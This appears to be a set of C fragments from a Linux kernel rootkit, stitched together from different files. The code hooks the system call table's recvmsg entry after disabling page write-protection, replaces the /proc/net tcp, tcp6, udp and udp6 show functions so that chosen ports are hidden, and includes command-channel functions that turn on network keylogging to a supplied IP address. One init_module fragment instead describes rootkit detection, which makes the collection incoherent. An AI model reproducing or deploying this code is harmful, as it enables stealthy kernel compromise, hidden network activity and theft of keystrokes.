/* * Function called when unloading the kernel module. * Prints a goodbye-message and restores the kernel to its * original form. */ void cleanup_module (void) { /* Finally, log the unloading */ ROOTKIT_DEBUG("****************************************\n"); ROOTKIT_DEBUG("Unloading was successful. Bye!\n"); ROOTKIT_DEBUG("****************************************\n"); }
/* * access the port number for udp and if it should be * hidden then return 0, else return the original function */ static int manipulated_tcp_show(struct seq_file *m, void *v) { /* lock and increase the call counter */ INCREASE_CALL_COUNTER(tcp_show_call_counter, &tcp_show_lock, tcp_show_lock_flags); int port; struct sock *sk; struct inet_sock *inet; int retv = 0; if (SEQ_START_TOKEN == v) { retv = original_tcp_show(m, v); goto out; } sk = (struct sock *)v; inet = inet_sk(sk); port = ntohs(inet->inet_sport); /* check protocol and port */ if (is_tcp_socket_hidden(port)) { ROOTKIT_DEBUG("Hidden socket for TCP port %u", port); goto out; } retv = original_tcp_show(m, v); out: /* lock and decrease the call counter */ DECREASE_CALL_COUNTER(tcp_show_call_counter, &tcp_show_lock, tcp_show_lock_flags); return retv; }
/* * Function called when loading the kernel module. * Prints a welcome-message and then does its magic. */ int init_module (void) { int ret; ROOTKIT_DEBUG("****************************************\n"); ROOTKIT_DEBUG("Beginning rootkit detection procedure...\n"); ROOTKIT_DEBUG("****************************************\n"); /* open the log file */ fd = filp_open(path, O_CREAT|O_WRONLY|O_APPEND|O_TRUNC, S_IRWXU); if(IS_ERR(fd)) { ROOTKIT_DEBUG("Error while trying to open the file '%s'! Terminating...\n", path); return -EIO; } /* check the sys call table */ ret = check_syscalls(); if(ret < 0) { ROOTKIT_DEBUG("Error while checking the system call table!\n"); return ret; } /* check the processes */ ret = check_processes(); if(ret < 0) { ROOTKIT_DEBUG("Error while checking the running processes!\n"); return ret; } ret = check_netfilter_hooks(); if(ret < 0) { ROOTKIT_DEBUG("Error while checking netfiler hooks!\n"); return ret; } ret = count_modules(); if(ret < 0) { ROOTKIT_DEBUG("Error while checking the loaded modules!\n"); return ret; } /* close the log file */ filp_close(fd, NULL); /* log the completion */ ROOTKIT_DEBUG("****************************************\n"); ROOTKIT_DEBUG("Check complete. You may now unload.\n"); ROOTKIT_DEBUG("****************************************\n"); return 0; }
/* * Function called from CC channel * Disable the flag to notify read TODO: Can put the struct to NULL? Does it matter? */ void disable_net_keylog(void) { ROOTKIT_DEBUG("Disabling Network keylogging...\n"); send_flag = 0; }
/* * Function called from CC channel * Set the flag to notify read and initialize netpoll struct */ void enable_net_keylog(char *ipv4_addr) { ROOTKIT_DEBUG("Enabling Network keylogging for IP %s...\n", ipv4_addr); send_flag = 1; // set the flag to true init_netpoll(ipv4_addr);// initialize the netpoll struture }
/* * unhooks all functions */ void unhook_sockets(void) { int restored = 0; struct tcp_seq_afinfo *tcp_seq = 0; struct tcp_seq_afinfo *tcp6_seq = 0; struct udp_seq_afinfo *udp_seq = 0; struct udp_seq_afinfo *udp6_seq = 0; struct rb_root root = init_net.proc_net->subdir; struct rb_node *node = rb_first(&root); struct proc_dir_entry *proc; /* get the location of the sys_call_table from our sysmap.h file */ void **sys_call_table = (void *)sysmap_sys_call_table; ROOTKIT_DEBUG("Unloading socket hiding...\n"); /* loop all proc entries */ while (node) { proc = rb_entry(node, struct proc_dir_entry, subdir_node); if (strcmp(proc->name, "tcp") == 0) { tcp_seq = proc->data; tcp_seq->seq_ops.show = original_tcp_show; restored++; ROOTKIT_DEBUG("Restored /proc/net/tcp"); } else if (strcmp(proc->name, "tcp6") == 0) { tcp6_seq = proc->data; tcp6_seq->seq_ops.show = original_tcp6_show; restored++; ROOTKIT_DEBUG("Restored /proc/net/tcp6"); } else if (strcmp(proc->name, "udp") == 0) { udp_seq = proc->data; udp_seq->seq_ops.show = original_udp_show; restored++; ROOTKIT_DEBUG("Restored /proc/net/udp"); } else if (strcmp(proc->name, "udp6") == 0) { udp6_seq = proc->data; udp6_seq->seq_ops.show = original_udp6_show; restored++; ROOTKIT_DEBUG("Restored /proc/net/udp6"); } /* lets skip the other entries if we are done */ if (restored >= 4) { break; } /* go to the next entry */ node = rb_next(node); } /* disable the write-protection */ disable_page_protection(); /* Return the system call back to original */ sys_call_table[__NR_recvmsg] = (ssize_t *) original_recvmsg; /* reenable the write-protection */ enable_page_protection(); /* wait for all processes to exit our functions */ while (recvmsg_call_counter > 0 || tcp_show_call_counter > 0 || udp_show_call_counter > 0 || tcp6_show_call_counter > 0 || udp6_show_call_counter > 0) msleep(2); /* log and return */ ROOTKIT_DEBUG("Done.\n"); }
/* * hooks all functions needed to hide sockets */ int hook_sockets(void) { /* get the location of the sys_call_table from our sysmap.h file */ void **sys_call_table = (void *)sysmap_sys_call_table; int hooked = 0; struct tcp_seq_afinfo *tcp_seq = 0; struct tcp_seq_afinfo *tcp6_seq = 0; struct udp_seq_afinfo *udp_seq = 0; struct udp_seq_afinfo *udp6_seq = 0; struct rb_root root = init_net.proc_net->subdir; struct rb_node *node = rb_first(&root); struct proc_dir_entry *proc; ROOTKIT_DEBUG("Loading socket hiding...\n"); /* loop all proc entries */ while (node) { proc = rb_entry(node, struct proc_dir_entry, subdir_node); if (strcmp(proc->name, "tcp") == 0) { tcp_seq = proc->data; original_tcp_show = tcp_seq->seq_ops.show; tcp_seq->seq_ops.show = manipulated_tcp_show; hooked++; ROOTKIT_DEBUG("Hooked /proc/net/tcp"); } else if (strcmp(proc->name, "tcp6") == 0) { tcp6_seq = proc->data; original_tcp6_show = tcp6_seq->seq_ops.show; tcp6_seq->seq_ops.show = manipulated_tcp6_show; hooked++; ROOTKIT_DEBUG("Hooked /proc/net/tcp6"); } else if (strcmp(proc->name, "udp") == 0) { udp_seq = proc->data; original_udp_show = udp_seq->seq_ops.show; udp_seq->seq_ops.show = manipulated_udp_show; hooked++; ROOTKIT_DEBUG("Hooked /proc/net/udp"); } else if (strcmp(proc->name, "udp6") == 0) { udp6_seq = proc->data; original_udp6_show = udp6_seq->seq_ops.show; udp6_seq->seq_ops.show = manipulated_udp6_show; hooked++; ROOTKIT_DEBUG("Hooked /proc/net/udp6"); } if (hooked >= 4) { break; } /* go to the next entry */ node = rb_next(node); } /* disable the write-protection */ disable_page_protection(); /* * keep pointer to original function in original_recvmsg, and * replace the system call in the system call table with * manipulated_recvmsg */ original_recvmsg = (void *)sys_call_table[__NR_recvmsg]; sys_call_table[__NR_recvmsg] = (ssize_t *) manipulated_recvmsg; /* reenable the write-protection */ enable_page_protection(); /* log and return */ ROOTKIT_DEBUG("Done.\n"); return 0; }